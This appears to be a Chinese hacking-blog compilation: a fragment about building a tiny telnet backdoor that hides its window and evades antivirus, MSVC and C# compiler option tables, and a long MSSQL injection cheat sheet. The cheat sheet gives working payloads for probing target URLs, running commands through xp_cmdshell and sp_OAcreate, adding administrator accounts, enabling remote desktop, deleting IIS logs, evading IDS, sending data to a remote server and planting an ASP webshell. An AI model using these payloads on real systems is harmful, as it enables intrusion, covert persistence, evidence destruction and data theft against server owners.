再把程序的数据段和代码段放在一起,添加:/merge.data=.text /merge:.rdata=.text 1.76k go on!
另外,如果要是用到MFC函数的程序,可在”Project(工程)—>settings(设置)”里面的”通用(General)”选项卡中在”Microsoft Foundation Classes”中选择使用一个MFC的dll(Use MFC in a Share Dll)也会使文件大小缩小很多.现在我们的超小后门编译好了,试下能用否. ok 没问题哦
大家注意到程序运行时会产生一个cmd窗口,要让他没有就好了.这也好办.
回到VC++中,在”Project(工程)—>settings(设置)”选项,选中”link”选项卡,在下面的”Project options(工程选项)”有/subsystem:console选项,表示程序是控制台程序,双击运行是会有一个cmd窗口,把console改为windows就没有窗口了.:),运行一下 没有窗口哦 但有进程 连接一下试试
ok 没问题 这样我们的超小1.76k telnet小后门就成功了 不被查杀哦 ^_^
// 编译器 cl.exe(Visual C++ 6.0)
// 没有做任何优化情况下,编译大小为:16K
// 编译优化后: 1K (用16进制编辑器把尾部的0x00去掉: 712bytes)
#include <windows.h>
#pragma comment(lib,”kernel32.lib”)
// 作用: 指定节对齐为512字节
#pragma comment(linker, “/align:512”)
// 作用: 合并节
// 将.data节和.rdata节合并到.text节(代码节)
#pragma comment(linker, “/merge:.data=.text”)
#pragma comment(linker, “/merge:.rdata=.text”)
// 作用: 指定子系统为windows (和优化无关)
// vc编译器默认是console,会有个黑糊糊的CMD窗口,不好看.用windows就好了
#pragma comment(linker, “/subsystem:windows”)
// 作用: 指定入口函数
// 子系统为windows的默认入口点WinMain和console的默认入口点main,都会引入
#pragma comment(linker, “/ENTRY:main”)
//int WinMain(HINSTANCE current, HINSTANCE prev, LPSTR cmdline, int
//showcmd)
// 作用: 去掉函数的栈帧代码,纯属吹毛求疵:-)
// 即函数开头的push ebp / mov ebp, esp和结尾的pop ebp / retn
__declspec(naked)
void main()
{
// 调用wmp. 这是按套路出牌的方法.
//typedef VOID (__stdcall *fnRunDllW)(HWND, HINSTANCE, LPCWSTR, DWORD);
//((fnRunDllW)GetProcAddress(LoadLibrary(“msdxm.ocx”), “RunDllW”))(0,0,0,0);
// 不按套路出牌,不压入RunDllW的函数参数,直接调用.
//GetProcAddress(LoadLibrary(“msdxm.ocx”), “RunDllW”)();
MessageBox(0,0,0,0);
// 注意此时的堆栈是不平衡的.
// 但是通过ExitProcess()退出自身,就不用去考虑平衡了.
ExitProcess(0);
}
微软C/C++ 编译器选项
-优化-
/O1
最小化空间
/Op[-]
改善浮点数一致性
/O2
最大化速度
/Os
优选代码空间
/Oa
假设没有别名
/Ot
优选代码速度
/Ob<n>
内联展开(默认 n=0)
/Ow
假设交叉函数别名
/Od
禁用优化(默认值)
/Ox
最大化选项。(/Ogityb2 /Gs)
/Og
启用全局优化
/Oy[-]
启用框架指针省略
/Oi
启用内部函数
-代码生成-
/G3
为 80386 进行优化
/GH
启用 _pexit 函数调用
/G4
为 80486 进行优化
/GR[-]
启用 C++ RTTI
/G5
为 Pentium 进行优化
/GX[-]
启用 C++ EH(与 /EHsc 相同)
/G6
为 PPro、P-II、P-III 进行优化
/EHs
启用 C++ EH(无 SEH 异常)
/GB
为混合模型进行优化(默认)
/EHa
启用 C++ EH(w/ SEH 异常)
/Gd
__cdecl 调用约定
/EHc
外部“C”默认为 nothrow
/Gr
__fastcall 调用约定
/GT
生成纤维安全 TLS 访问
/Gz
__stdcall 调用约定
/Gm[-]
启用最小重新生成
/GA
为 Windows 应用程序进行优化
/GL[-]
启用链接时代码生成
/Gf
启用字符串池
/QIfdiv[-]
启用 Pentium FDIV 修复
/GF
启用只读字符串池
/QI0f[-]
启用 Pentium 0x0f 修复
/Gy
分隔链接器函数
/QIfist[-]
使用 FIST 而不是 ftol()
/GZ
启用堆栈检查 (/RTCs)
/RTC1
启用快速检查 (/RTCsu)
/Ge
对所有函数强制堆栈检查
/RTCc
转换为较小的类型检查
/Gs[num]
控制堆栈检查调用
/RTCs
堆栈帧运行时检查
/GS
启用安全检查
/RTCu
未初始化的本地用法检查
/Gh
启用 _penter 函数调用
/clr[:noAssembly]
为公共语言运行时库编译noAssembly – 不产生程序集
-输出文件-
/Fa[file]
命名程序集列表文件
/Fo<file>
命名对象文件
/FA[sc]
配置程序集列表
/Fp<file>
命名预编译头文件
/Fd[file]
命名 .PDB 文件
/Fr[file]
命名源浏览器文件
/Fe<file>
命名可执行文件
/FR[file]
命名扩展 .SBR 文件
/Fm[file]
命名映射文件
-预处理器-
/AI<dir>
添加到程序集搜索路径
/Fx
将插入的代码合并到文件
/FU<file>
强制使用程序集/模块
/FI<file>
命名强制包含文件
/C
不抽出注释
/U<name>
移除预定义宏
/D<name>{=|#}<text>
定义宏
/u
移除所有预定义宏
/E
预处理到 stdout
/I<dir>
添加到包含搜索路径
/EP
预处理到 stdout,没有 #line
/X
忽略“标准位置”
/P
预处理到文件
-语言-
/Zi
启用调试信息
/Zl
忽略 .OBJ 中的默认库名
/ZI
启用“编辑并继续”调试信息
/Zg
生成函数原型
/Z7
启用旧式调试信息
/Zs
只进行语法检查
/Zd
仅有行号调试信息
/vd{0|1}
禁用/启用 vtordisp
/Zp[n]
在 n 字节边界上包装结构
/vm<x>
指向成员的指针类型
/Za
禁用扩展(暗指 /Op)
/noBool
禁用“bool”关键字
/Ze
启用扩展(默认)
/Zc:arg1[,arg2]
C++ 语言一致性,这里的参数可以是:forScope – 对范围规则强制使用标准 C++;wchar_t – wchar_t 是本机类型,不是 typedef
– 杂项 –
@<file>
选项响应文件
/wo<n>
发出一次警告 n
/?, /help
打印此帮助消息
/w<l><n>
为 n 设置警告等级 1-4
/c
只编译,不链接
/W<n>
设置警告等级(默认 n=1)
/H<num>
最大外部名称长度
/Wall
启用所有警告
/J
默认 char 类型是 unsigned
/Wp64
启用 64 位端口定位警告
/nologo
取消显示版权消息
/WX
将警告视为错误
/showIncludes
显示包含文件名
/WL
启用单行诊断
/Tc<source file>
将文件编译为 .c
/Yc[file]
创建 .PCH 文件
/Tp<source file>
将文件编译为 .cpp
/Yd
将调试信息放在每个 .OBJ 中
/TC
将所有文件编译为 .c
/Yl[sym]
为调试库插入 .PCH 引用
/TP
将所有文件编译为 .cpp
/Yu[file]
使用 .PCH 文件
/V<string>
设置版本字符串
/YX[file]
自动 .PCH
/w
禁用所有警告
/Y-
禁用所有 PCH 选项
/wd<n>
禁用警告 n
/Zm<n>
最大内存分配(默认为 %)
/we<n>
将警告 n 视为错误
-链接-
/MD
与 MSVCRT.LIB 链接
/MDd
与 MSVCRTD.LIB 调试库链接
/ML
与 LIBC.LIB 链接
/MLd
与 LIBCD.LIB 调试库链接
/MT
与 LIBCMT.LIB 链接
/MTd
与 LIBCMTD.LIB 调试库链接
/LD
创建 .DLL
/F<num>
设置堆栈大小
/LDd
创建 .DLL 调试库
/link
[链接器选项和库]
附录二(更详细信息,可查阅MSDN)
Visual C# .NET 编译器选项
– 输出文件 –
/out:<文件>
输出文件名(默认值:包含主类的文件或第一个文件的基名称)
/target:exe
生成控制台可执行文件(默认) (缩写: /t:exe)
/target:winexe
生成 Windows 可执行文件 (缩写: /t:winexe)
/target:library
生成库 (缩写: /t:library)
/target:module
生成能添加到其他程序集的模块 (缩写: /t:module)
/define:<符号列表>
定义条件编译符号 (缩写: /d)
/doc:<文件>
要生成的 XML 文档文件
– 输入文件 –
/recurse:<通配符>
根据通配符规范,包括当前目录和子目录下的所有文件
/reference:<文件列表>
从指定的程序集文件引用元数据 (缩写: /r)
/addmodule:<文件列表>
将指定的模块链接到此程序集中
– 资源 –
/win32res:<文件>
指定 Win32 资源文件 (.res)
/win32icon:<文件>
使用该图标输出
/resource:<资源信息>
嵌入指定的资源 (缩写: /res)
/linkresource:<资源信息>
将指定的资源链接到此程序集中 (缩写: /linkres)
– 代码生成 –
/debug[+|-]
发出调试信息
/debug:{full|pdbonly}
指定调试类型(“full”是默认类型,可以将调试程序附加到正在运行的程序)
/optimize[+|-]
启用优化 (缩写: /o)
/incremental[+|-]
启用增量编译 (缩写: /incr)
– 错误和警告 –
/warnaserror[+|-]
将警告视为错误
/warn:<n>
设置警告等级 (0-4) (缩写: /w)
/nowarn:<警告列表>
禁用特定的警告消息
– 语言 –
/checked[+|-]
生成溢出检查
/unsafe[+|-]
允许“不安全”代码
– 杂项 –
@<文件>
读取响应文件以获得更多选项
/help
显示此用法信息 (缩写: /?)
/nologo
取消编译器版权信息
/noconfig
不要自动包含 CSC.RSP 文件
– 高级 –
/baseaddress:<地址>
要生成的库的基址
/bugreport:<文件>
创建一个“错误报告”文件
/codepage:<n>
指定打开源文件时要使用的代码页
/utf8output
UTF-8 编码的输出编译器消息
/main:<类型>
指定包含入口点的类型(忽略所有其他可能的入口点) (缩写: /m)
/fullpaths
编译器生成完全限定路径
/filealign:<n>
指定用于输出文件节的对齐方式
/nostdlib[+|-]
不引用标准库 (mscorlib.dll)
/lib:<文件列表>
指定要在其中搜索引用的附加目录

mssql注入语句积累-搜集于网上

and exists (select * from sysobjects) //判断是否是MSSQL

and exists(select * from tableName) //判断某表是否存在..tableName为表名

and 1=(select @@VERSION) //MSSQL版本

And 1=(select db_name()) //当前数据库名

and 1=(select @@servername) //本地服务名

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员

and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限

and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限

and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3….

;declare @d int //是否支持多行

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在

and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除

添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin

停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’

暴网站目录
create table labeng(lala nvarchar(255), id int)

DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result);

and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割

DOS下开3389 并修改端口号
sc config termservice start= auto

net start termservice

//允许外连
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0x0 /f

//该3389端口到80
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 80 /f

SQL Server


判断是否可注射:

http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6′

http://www.targer.com/article.asp?id=6 and 1=1

http://www.targer.com/article.asp?id=6 and 1=2

http://www.targer.com/article.asp?action=value’ and 1=1

http://www.targer.com/article.asp?action=value’ and 1=2

searchpoints%’ and 1=1

searchpoints%’ and 1=2


确定数据库类型:

http://www.targer.com/article.asp?id=6 and user>0

http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0


查询当前用户数据信息:

article.asp?id=6 having 1=1–


暴当前表中的列:

article.asp?id=6 group by admin.username having 1=1–

article.asp?id=6 group by admin.username,admin.password having 1=1–


暴任意表和列:

and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1

and (select top col_name(object_id(‘admin’),N) from sysobjects)>1


暴数据库数据:

and (select top 1 password from admin where id=N)>1


修改数据库中的数据:

;update admin set password=’oooooo’ where username=’xxx’


增添数据库中的数据:

;insert into admin values (xxx,oooooo)–


删数据库:

;drop database webdata


获取当前数据库用户名:and user>0

获取当前数据库名:and db_name()>0

获取数据库版本:and (select @@version)>0


判断是否支持多句查询:;declare @a int–

判断是否支持子查询:and (select count(1) from [sysobjects])>=0


数据库的扩展存储过程:exec master..xp_cmdshell

查看服务器C盘目录:;exec_master..xp_cmdshell ‘dir c:\’

判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’

恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’

删除扩展存储过程:;exec sp_dropextendedproc ‘xp_cmdshell’


在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:

;declare @s int

;exec sp_oacreat ‘wscript.shell’,@s

;exec master..spoamethod @s,’run’,null,’cmd.exe/c dir c:\’


判断当前数据库用户名是否拥有比较高的权限:

and 1=(select is_srvrolemember(‘sysadmin’))

and 1=(select is_srvrolemember(‘serveradmin’))

and 1=(select is_srvrolemember(‘setupadmin’))

and 1=(select is_srvrolemember(‘securityadmin’))

and 1=(select is_srvrolemember(‘diskadmin’))

and 1=(select is_srvrolemember(‘bulkadmin’))


判断当前数据库用户名是否为DB_OWNER:

and 1=(select is_member(‘db_owner’))


在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:

and (select top 1 name from master.dbo.sysdatabase order by dbid)>0

and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0


删除日志记录:

;exec master.dbo.xp_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’


替换日志记录:

;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’


获取WEB路径:

;declare @shell int

;exec master..sp_oamethod ‘wscript.shell’,@shell out

;exec master..sp_oamethod @shell,’run’,null,’cmd.exe/c dir /s d:/index.asp >c:/log.txt


利用XP_CMDSHELL搜索:

;exec master..xp_cmdshell ‘dir /s d:/index.asp’


显示服务器网站配置信息命令:

cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root

cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root


利用XP_REGREAD可用PUBLIC权限读取:

;exec master.dbo.xp_regread

hkey_local_machine,

‘system\currentcontrolset\services\w3svc\parameters\virtual roots\’

‘/’


SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。


3、DSqlHelper


检测权限SYSADMIN:

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))

serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。


检测XP_CMDSHELL(CMD命令):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_cmdshell’)

检测XP_REGREAD(注册表读取功能):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread’)

检测SP_MAKEWEBTASK(备份功能):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask’)

检测SP_ADDEXTENDEDPROC:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc’)

检测XP_SUBDIRS读子目录:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs’)

检测XP_DIRTREE读子目录:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree’)


修改内容:

; UPDATE 表名 set 字段=内容 where 1=1


XP_CMDSHELL检测:

;exec master..xp_cmdshell ‘dir c:\’

修复XP_CMDSHELL:

;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’

用XP_CMDSHELL添加用户hacker:

;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’

XP_CMDSHELL把用户hacker加到ADMIN组:

;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add’


创建表test:

;create table [dbo].[test] ([dstr][char](255));

检测表段test:

and exists (select * from test)

读取WEB的位置(读注册表):

;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’,@result output insert into test (dstr) values(@result);–

爆出WEB的绝对路径(显错模式):

and 1=(select count(*) from test where dstr > 1)

删除表test:

;drop table test;–


创建查看目录的表dirs:

;create table dirs(paths varchar(100), id int)

把查看目录的内容加入表dirs:

;insert dirs exec master.dbo.xp_dirtree ‘c:\’

爆目录的内容dirs:

and 0<>(select top 1 paths from dirs)

备份数据库DATANAME:

declare @a sysname; set @a=db_name();backup DATANAME @a to disk=’c:\inetpub\wwwroot\down.bak’;–

删除表dirs:

;drop table dirs;–


创建表temp:

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

把驱动盘列表加入temp表:

;insert temp exec master.dbo.xp_availablemedia;–

删除表temp:

;delete from temp;–


创建表dirs:

;create table dirs(paths varchar(100), id int);–

获得子目录列表XP_SUBDIRS:

;insert dirs exec master.dbo.xp_subdirs ‘c:\’;–

爆出内容(显错模式):

and 0<>(select top 1 paths from dirs)

删除表dirs:

;delete from dirs;–


创建表dirs:

;create table dirs(paths varchar(100), id int)–

用XP_CMDSHELL查看目录内容:

;insert dirs exec master..xp_cmdshell ‘dir c:\’

删除表dirs:

;delete from dirs;–


检测SP_OAcreate(执行命令):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘SP_OAcreate’)

SP_OAcreate执行CMD命令:

;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\windows\system32\cmd.exe /c net user hacker 123456 /add’

SP_OAcreate建目录:

;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\windows\system32\cmd.exe /c md E:\XkCmsV\webForm\1111’

创建一个虚拟目录E盘:

;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘

设置虚拟目录E为可读:

;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’

启动SERVER服务:

;exec master..xp_servicecontrol ‘start’, ‘server’

绕过IDS检测XP_CMDSHELL:

;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’

开启远程数据库1:

; select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=apachy_123’, ‘select * from table1’ )

开启远程数据库2:

;select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ‘select * from table’

//看看是什么权限的
and 1=(Select IS_MEMBER(‘db_owner’))
And char(124)%2BCast(IS_MEMBER(‘db_owner’) as varchar(1))%2Bchar(124)=1 ;–

//检测是否有读取某数据库的权限
and 1= (Select HAS_DBACCESS(‘master’))
And char(124)%2BCast(HAS_DBACCESS(‘master’) as varchar(1))%2Bchar(124)=1 —


数字类型
and char(124)%2Buser%2Bchar(124)=0

字符类型
‘ and char(124)%2Buser%2Bchar(124)=0 and ”=’

搜索类型
‘ and char(124)%2Buser%2Bchar(124)=0 and ‘%’=’

爆用户名
and user>0
‘ and user>0 and ”=’

检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));–
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 —

检测是不是MSSQL数据库
and exists (select * from sysobjects);–

检测是否支持多行
;declare @d int;–

恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’;–


select * from openrowset(‘sqloledb’,’server=192.168.1.200,1433;uid=test;pwd=pafpaf’,’select @@version’)

//———————–
//      执行命令
//———————–
首先开启沙盘模式:
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1

然后利用jet.oledb执行系统命令
select * from openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\winnt\system32\ias\ias.mdb’,’select shell(“cmd.exe /c net user admin admin1234 /add”)’)

执行命令
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add’;–

EXEC [master].[dbo].[xp_cmdshell] ‘cmd /c md c:\1111’

判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’)

写注册表
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1

REG_SZ

读注册表
exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon’,’Userinit’

读取目录内容
exec master..xp_dirtree ‘c:\winnt\system32\’,1,1


数据库备份
backup database pubs to disk = ‘c:\123.bak’

//爆出长度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;–

更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,’新密码’,’sa’

添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

删除扩展存储过过程xp_cmdshell的语句: 
exec sp_dropextendedproc ‘xp_cmdshell’

添加扩展存储过过程
EXEC [master]..sp_addextendedproc ‘xp_proxiedadata’, ‘c:\winnt\system32\sqllog.dll’ 
GRANT exec On xp_proxiedadata TO public


停掉或激活某个服务。

exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’

dbo.xp_subdirs

只列某个目录下的子目录。
xp_getfiledetails ‘C:\Inetpub\wwwroot\SQLInject\login.asp’

dbo.xp_makecab

将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。

dbo.xp_makecab
‘c:\test.cab’,’mszip’,1,
‘C:\Inetpub\wwwroot\SQLInject\login.asp’,
‘C:\Inetpub\wwwroot\SQLInject\securelogin.asp’

xp_terminate_process

停掉某个执行中的程序,但赋予的参数是 Process ID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID

xp_terminate_process 2484

xp_unpackcab

解开压缩档。

xp_unpackcab ‘c:\test.cab’,’c:\temp’,1


某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SYSTEM\RAdmin\v2.0\Server\Parameters’,’Parameter’,’REG_BINARY’,0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SYSTEM\RAdmin\v2.0\Server\Parameters’,’port’,’REG_BINARY’,0xd20400 则端口值改为1234

create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);

//得到数据库名
insert into opendatasource(‘sqloledb’,’server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx’).lcx.dbo.ku select name from master.dbo.sysdatabases


//在Master中创建表,看看权限怎样
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);–

用 sp_makewebtask直接在web目录里写入一句话马:
http://127.0.0.1/dblogin123.asp?username=123′;exec%20sp_makewebtask%20’d:\www\tt\88.asp’,’%20select%20”<%25execute(request(“a”))%25>”%20′;–

//更新表内容
Update films SET kind = ‘Dramatic’ Where id = 123

//删除内容
delete from table_name where Stockid = 3